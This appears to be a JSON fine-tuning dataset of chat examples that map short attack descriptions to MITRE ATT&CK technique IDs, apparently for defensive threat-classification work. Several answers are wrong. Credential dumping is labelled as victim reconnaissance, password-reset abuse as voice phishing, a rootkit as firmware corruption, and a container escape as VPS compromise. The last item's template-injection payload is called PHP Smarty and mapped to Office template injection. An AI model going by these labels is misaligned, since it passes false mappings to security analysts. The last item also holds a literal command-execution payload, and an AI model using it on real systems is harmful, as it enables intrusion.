        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is persisted by inserting a .desktop entry into /etc/xdg/autostart, triggering the payload whenever the GUI session begins."
            },
            {
                "role": "assistant",
                "content": "T1547.013 - Boot or Logon Autostart Execution: XDG Autostart Entries"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script runs on the victim's system to dump credential caches and upload them to the command‑and‑control server."
            },
            {
                "role": "assistant",
                "content": "T1589.001 - Gather Victim Identity Information: Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses social engineering to obtain a developer’s code signing credentials and signs malware."
            },
            {
                "role": "assistant",
                "content": "T1588.003 - Obtain Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Trojan drops a payload that hijacks a thread in explorer.exe and uses APCs to run its code."
            },
            {
                "role": "assistant",
                "content": "T1055.004 - Process Injection: Asynchronous Procedure Call"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker configures a Windows Scheduled Task to invoke a hidden DLL each time a user logs in."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intruder deploys a custom sniffer script to monitor HTTP requests and responses over the corporate network."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker reads /proc/[pid]/environ of processes to extract password hashes from memory."
            },
            {
                "role": "assistant",
                "content": "T1003.007 - OS Credential Dumping: Proc Filesystem"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker repeatedly spawns processes to consume all available kernel memory, causing the operating system to become unresponsive."
            },
            {
                "role": "assistant",
                "content": "T1499.001 - Endpoint Denial of Service: OS Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is injected via a rogue TFTP service that provides a fake OS loader during pre‑OS boot."
            },
            {
                "role": "assistant",
                "content": "T1542.005 - Pre-OS Boot: TFTP Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits Component Object Model hijacking by manipulating the registry to point a known COM object's InprocServer32 to a malicious library."
            },
            {
                "role": "assistant",
                "content": "T1546.015 - Event Triggered Execution: Component Object Model Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor gains access to sensitive areas of a system by exploiting weak passwords or password policies, what MITRE ATT&CK ID represents this action?"
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team tools enumerate cloud storage buckets for files ending in .key or .pem that lack encryption and download them for credential reuse."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team simulated the creation of a rogue certificate authority to issue code‑signing certificates for back‑door tools."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker manipulates the sudo timestamp file to retain root access after a system reboot."
            },
            {
                "role": "assistant",
                "content": "T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code performs token impersonation by swapping its own token with that of a service running as LocalSystem."
            },
            {
                "role": "assistant",
                "content": "T1134 - Access Token Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise involves dumping the LSA Secrets from the Windows registry to steal service account credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.004 - OS Credential Dumping: LSA Secrets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the system binary odbcconf, the intruder injects a malicious registry entry that triggers execution of a payload during ODBC driver loading."
            },
            {
                "role": "assistant",
                "content": "T1218.008 - System Binary Proxy Execution: Odbcconf"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code invoked Google Cloud's createSnapshot method on a persistent disk to preserve a copy of sensitive files."
            },
            {
                "role": "assistant",
                "content": "T1578.001 - Modify Cloud Compute Infrastructure: Create Snapshot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries employ Wireshark on a victim machine to capture and analyze cleartext credentials transmitted over SMB."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary emails a malicious .doc file to a target, hoping the user will open it and enable macros, leading to code execution."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker performs ARP cache poisoning to become a man-in-the-middle, silently capturing credentials."
            },
            {
                "role": "assistant",
                "content": "T1557.002 - Adversary-in-the-Middle: ARP Cache Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By monitoring passive DNS feeds, the attacker reconstructed the timeline of DNS changes for the target's infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1596.001 - Search Open Technical Databases: DNS/Passive DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a public paste service, setting the paste expiration to never, and the malware continuously checks the URL for new command lines."
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Web Service: Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker injects malicious code into a shared Excel spreadsheet saved on a cloud drive, causing it to run when collaborators view it."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary registers a service called 'AudioSrv' that points to a malicious DLL for command and control."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor’s payload includes a routine that captures video from the device’s camera and stores it in a hidden folder for later upload."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email delivers a macro that writes a batch file to the startup folder, which then invokes the Windows command shell to execute further code."
            },
            {
                "role": "assistant",
                "content": "T1202 - Indirect Command Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor injects malicious JavaScript into a vulnerable web page to harvest the victim's session cookies for later reuse."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the SetFileTime API to manipulate timestamps of system files, masking the intrusion."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider edited the intranet homepage HTML files to display unauthorized political slogans."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using stolen credentials, the attacker performs a credential‑stuffing attack and then manipulates the MFA push approval process to grant access."
            },
            {
                "role": "assistant",
                "content": "T1556.006 - Modify Authentication Process: Multi-Factor Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary’s payload includes a DGA that derives domain names from the victim’s language settings and a secret algorithm, generating a unique domain list each day for communication."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential-stealing tool uses a hook on the Windows messaging system to capture typed credentials from various applications."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages steganography to embed ransomware scripts within JPEG photos posted to a public website."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers deploy a man-in-the-middle proxy to capture time-based one-time passwords (TOTP) generated by authenticator apps during login."
            },
            {
                "role": "assistant",
                "content": "T1111 - Multi-Factor Authentication Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor abuses a vulnerable Docker container on a virtual private server to escape isolation and gain host-level control."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors comb through publicly available domain registration data and SSL certificates to map the target's online footprint."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "To evade automated analysis, the trojan incorporates a random sleep of 5‑15 minutes before contacting its C2 server, relying on time‑based checks to determine a real environment."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Virtualization/Sandbox Evasion: Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Remote services are abused by enabling Windows Remote Management and executing a payload through a SOAP request."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Spearphishing link targeting specific individuals or groups"
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting credential dumping tools, the intruder obtains domain account hashes and logs into the network."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Valid Accounts: Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary changes the service start type to 'Automatic' to ensure the payload runs after each reboot."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A nation-state actor gains access to a semiconductor fab’s tooling software, inserting a hardware-level implant that activates during device boot."
            },
            {
                "role": "assistant",
                "content": "T1195.003 - Supply Chain Compromise: Compromise Hardware Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors harvest edge server response headers from CDN networks to extract version information and potential vulnerabilities."
            },
            {
                "role": "assistant",
                "content": "T1596.004 - Search Open Technical Databases: CDNs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising a VPN gateway, the adversary tunnels remote desktop sessions through the VPN to blend in with legitimate traffic."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use a custom protocol over TCP port 8443, encrypting exfiltrated data with a pre‑shared key, and send it directly to a staging server without C2 interaction."
            },
            {
                "role": "assistant",
                "content": "T1048.001 - Exfiltration Over Alternative Protocol: Exfiltration Over Symmetric Encrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation tool renamed the legitimate 'netsh.exe' binary to 'system32.dll' to conceal its activity."
            },
            {
                "role": "assistant",
                "content": "T1036.003 - Masquerading: Rename System Utilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware connects to the \\\\HOSTNAME\\ADMIN$ share using stolen credentials to deploy additional modules."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware manipulates the BIOS configuration to download firmware via TFTP before the operating system loads."
            },
            {
                "role": "assistant",
                "content": "T1542.005 - Pre-OS Boot: TFTP Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious program searches for PDF and DOCX files containing specific keywords and aggregates them."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor modifies MX records of the victim's email domain to route email through a malicious mail server."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant obfuscates data by first UTF‑8 encoding it and then applying a custom Base64 variant."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A JavaScript keylogger is deployed on a compromised web application to harvest user credentials during authentication."
            },
            {
                "role": "assistant",
                "content": "T1056.003 - Input Capture: Web Portal Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder creates a new window for a victim process, copies malicious DLL into that window's memory segment, and forces the process to load it."
            },
            {
                "role": "assistant",
                "content": "T1055.011 - Process Injection: Extra Window Memory Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion accessed a GitLab repository and copied source code and deployment scripts."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors inject malicious code into the Linux initramfs image to persist after reboots."
            },
            {
                "role": "assistant",
                "content": "T1601 - Modify System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor used Group Policy Preferences to deploy a malicious executable to all users."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries inject a cross-site scripting payload into a product review field to hijack user sessions."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Utilize weaknesses in password reset mechanisms to gain unauthorized access to accounts"
            },
            {
                "role": "assistant",
                "content": "T1598.004 - Phishing for Information: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers plant a rootkit that hides processes and corrupts system monitoring."
            },
            {
                "role": "assistant",
                "content": "T1495 - Firmware Corruption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After exploiting a vulnerability, the attacker adds a custom SSH key to the authorized_keys of the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1098.004 - Account Manipulation: SSH Authorized Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistence is achieved by modifying the Image File Execution Options (IFEO) debugger registry key to hijack a legitimate executable."
            },
            {
                "role": "assistant",
                "content": "T1546.012 - Event Triggered Execution: Image File Execution Options Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor utilized a cloud‑based password cracking service to accelerate the cracking of large password hash sets."
            },
            {
                "role": "assistant",
                "content": "T1110.002 - Brute Force: Password Cracking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary loads a malicious PE file into memory using reflective loading to avoid writing the file to disk."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors leveraged Windows Server Update Services (WSUS) to silently install a malicious backdoor on target machines."
            },
            {
                "role": "assistant",
                "content": "T1072 - Software Deployment Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware reads the file \"/run/secrets/kubernetes.io/serviceaccount/namespace\" to discover the namespace of the container."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By targeting service accounts with SPNs, the threat actor harvests their TGTs and uses hash‑cracking tools to recover the plaintext credentials."
            },
            {
                "role": "assistant",
                "content": "T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages a zero‑day in a database client to cause it to consume all CPU cycles, denying legitimate access to the host."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised smart TV runs a script that captures audio from its built‑in mic during TV shows and transmits the recordings to an external server."
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using previously obtained domain account passwords, the actor performed privileged actions across the environment."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Valid Accounts: Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary crafts a malicious XPC payload that exploits a known vulnerability in the com.apple.security.xpc service to achieve code execution."
            },
            {
                "role": "assistant",
                "content": "T1559.003 - Inter-Process Communication: XPC Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary abused a Confluence macro to execute a server-side request that pulled confidential documentation and sent it to a command-and-control server."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set uses a compromised Service Account token to hijack an active RDP session, granting them persistent remote access without triggering alerts."
            },
            {
                "role": "assistant",
                "content": "T1563 - Remote Service Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors provision storage buckets in an unsupported Azure region to hide malicious payloads from detection."
            },
            {
                "role": "assistant",
                "content": "T1535 - Unused/Unsupported Cloud Regions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware leverages the built‑in default 'guest' account to bypass authentication."
            },
            {
                "role": "assistant",
                "content": "T1078.001 - Valid Accounts: Default Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During a vulnerability assessment, a payload \"{{ request.application.__globals__['os'].popen('whoami').read() }}\" is submitted to a vulnerable PHP Smarty template, leading to command execution."
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
